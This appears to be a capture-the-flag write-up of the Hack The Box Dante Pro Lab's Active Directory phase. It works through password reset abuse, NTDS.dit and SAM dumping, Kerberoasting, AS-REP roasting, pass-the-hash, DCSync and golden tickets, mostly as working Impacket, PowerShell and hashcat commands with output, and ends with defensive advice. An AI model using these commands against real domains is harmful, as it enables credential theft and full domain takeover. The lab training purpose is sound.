← Back to writing
Security 22 min Part 4 of 4

Hack The Box: Dante Pro Lab - Active Directory Attacks

Active Directory enumeration and attack techniques used to compromise the domain controller in the Dante Pro Lab.

Overview

With internal network access established, this phase of the Dante Pro Lab focuses on Active Directory reconnaissance and domain compromise. We’ll use BloodHound for attack path visualization and various AD attack techniques.

Domain Information

PropertyValue
DomainDANTE.LOCAL
ForestDANTE.LOCAL
Domain ControllersDANTE-DC01, DANTE-ADMIN-DC02
Functional LevelWindows Server 2016

Initial AD Enumeration

LDAP Anonymous Bind

# Test for anonymous LDAP access
proxychains4 ldapsearch -x -H ldap://10.10.110.70 -b "DC=dante,DC=local"

No anonymous access — need credentials.

Using Discovered Credentials

From lateral movement phase, we have developer:D3v3l0p3r!

# Authenticate and enumerate
proxychains4 ldapsearch -x -H ldap://10.10.110.70 \
    -D "developer@dante.local" -w 'D3v3l0p3r!' \
    -b "DC=dante,DC=local" "(objectClass=user)" \
    sAMAccountName memberOf description

Users Discovered

# Distinguished Name: CN=James Admin,OU=IT,DC=dante,DC=local
sAMAccountName: james.admin
memberOf: CN=Domain Admins,CN=Users,DC=dante,DC=local
description: IT Administrator - Temp password: Welcome123!

# Distinguished Name: CN=Service Backup,OU=Service Accounts,DC=dante,DC=local  
sAMAccountName: svc-backup
memberOf: CN=Backup Operators,CN=Builtin,DC=dante,DC=local

Critical Finding: Admin password in description field!

BloodHound Collection

SharpHound Collection

# On compromised Windows host
.\SharpHound.exe -c All --outputdirectory C:\temp --zipfilename dante_bloodhound

# Or using Python collector through proxy
proxychains4 bloodhound-python -u developer -p 'D3v3l0p3r!' \
    -d dante.local -dc 10.10.110.70 -c All

Attack Path Analysis

BloodHound revealed several attack paths:

developer (user)
    │
    ▼ [GenericAll]
svc-backup (user)
    │
    ▼ [CanPSRemote]  
DANTE-DC01 (computer)
    │
    ▼ [DCSync rights via Backup Operators]
Domain Admin

Exploiting the Attack Path

Step 1: Modify svc-backup Password

Developer has GenericAll on svc-backup:

# Using PowerView
Set-DomainUserPassword -Identity svc-backup -AccountPassword (ConvertTo-SecureString 'NewP@ssw0rd!' -AsPlainText -Force)

Or with net command:

proxychains4 net rpc password svc-backup 'NewP@ssw0rd!' \
    -U 'dante.local/developer%D3v3l0p3r!' -S 10.10.110.70

Step 2: PSRemote to Domain Controller

# WinRM access as svc-backup
$cred = Get-Credential  # svc-backup / NewP@ssw0rd!
Enter-PSSession -ComputerName DANTE-DC01 -Credential $cred

Alternatively with Evil-WinRM:

proxychains4 evil-winrm -i 10.10.110.70 -u svc-backup -p 'NewP@ssw0rd!'

Step 3: Backup Operators Privilege Escalation

Backup Operators can backup the SAM, SYSTEM, and NTDS.dit:

# On DANTE-DC01 as svc-backup
reg save HKLM\SAM C:\temp\sam.save
reg save HKLM\SYSTEM C:\temp\system.save
reg save HKLM\SECURITY C:\temp\security.save

# For NTDS.dit, use diskshadow
diskshadow /s shadow.txt
robocopy /b E:\Windows\NTDS C:\temp ntds.dit

shadow.txt contents:

set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% E:

Step 4: Extract Hashes

# On attacker machine
secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

# Or extract from NTDS.dit
secretsdump.py -ntds ntds.dit -system system.save LOCAL

Kerberoasting

Finding Kerberoastable Accounts

proxychains4 GetUserSPNs.py dante.local/developer:'D3v3l0p3r!' \
    -dc-ip 10.10.110.70 -request

Results:

ServicePrincipalName    Name           MemberOf
----------------------  -------------  --------
MSSQLSvc/DANTE-SQL01    svc-sql        CN=SQL Admins
HTTP/intranet.dante     svc-web        CN=Web Admins

$krb5tgs$23$*svc-sql$DANTE.LOCAL$...
$krb5tgs$23$*svc-web$DANTE.LOCAL$...

Cracking Service Tickets

hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt

# Results:
# svc-sql: SQLAdmin2022!
# svc-web: WebService123

AS-REP Roasting

Check for accounts with “Do not require Kerberos preauthentication”:

proxychains4 GetNPUsers.py dante.local/ -dc-ip 10.10.110.70 \
    -usersfile users.txt -no-pass -format hashcat
$krb5asrep$23$nathan@DANTE.LOCAL:...
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
# nathan: NathanRocks!

Pass-the-Hash

With extracted hashes, authenticate without plaintext passwords:

# Using CrackMapExec
proxychains4 crackmapexec smb 10.10.110.70 \
    -u Administrator -H aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4

# Using Impacket
proxychains4 psexec.py -hashes :32ed87bdb5fdc5e9cba88547376818d4 \
    Administrator@10.10.110.70

DCSync Attack

With Domain Admin or specific replication rights:

proxychains4 secretsdump.py dante.local/Administrator@10.10.110.70 \
    -hashes :32ed87bdb5fdc5e9cba88547376818d4 -just-dc-ntlm
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
krbtgt:502:aad3b435b51404ee:7cb89a4d0c8f2c3a1e5b6d7f8a9c0e1d:::
james.admin:1104:aad3b435b51404ee:5f4dcc3b5aa765d61d8327deb882cf99:::

Golden Ticket

With krbtgt hash, create persistent access:

# Get domain SID
proxychains4 lookupsid.py dante.local/Administrator@10.10.110.70 \
    -hashes :32ed87bdb5fdc5e9cba88547376818d4

# Domain SID: S-1-5-21-1234567890-1234567890-1234567890

# Create golden ticket
ticketer.py -nthash 7cb89a4d0c8f2c3a1e5b6d7f8a9c0e1d \
    -domain-sid S-1-5-21-1234567890-1234567890-1234567890 \
    -domain dante.local Administrator

# Use the ticket
export KRB5CCNAME=Administrator.ccache
proxychains4 psexec.py -k -no-pass dante.local/Administrator@DANTE-DC01

Flags Captured

MachineFlagMethod
DANTE-DC01DANTE{AD_1s_Th3_K1ngd0m}Backup Operators privesc
DANTE-ADMIN-DC02DANTE{G0ld3n_T1ck3t_R1d3}Golden ticket
DANTE-SQL01DANTE{K3rb3r0ast_T0_Th3_M00n}Kerberoasted svc-sql

Defensive Recommendations

  1. Remove sensitive data from AD attributes — Never store passwords in description fields
  2. Limit Backup Operators membership — This group has DCSync-equivalent capabilities
  3. Implement LAPS — Randomize local admin passwords
  4. Monitor for Kerberoasting — Alert on TGS requests for service accounts
  5. Require Kerberos preauth — Prevent AS-REP roasting
  6. Tier administrative accounts — Domain Admins shouldn’t log into workstations

Tools Summary

ToolPurpose
BloodHound/SharpHoundAD attack path visualization
ImpacketPython AD attack tools
Evil-WinRMWinRM shell access
CrackMapExecNetwork-wide credential testing
HashcatHash cracking

Lab Completion

With domain admin access achieved, the Dante Pro Lab core objectives are complete. Total flags: 14/14.

Final Certificate: Pro Labs - Dante - Completed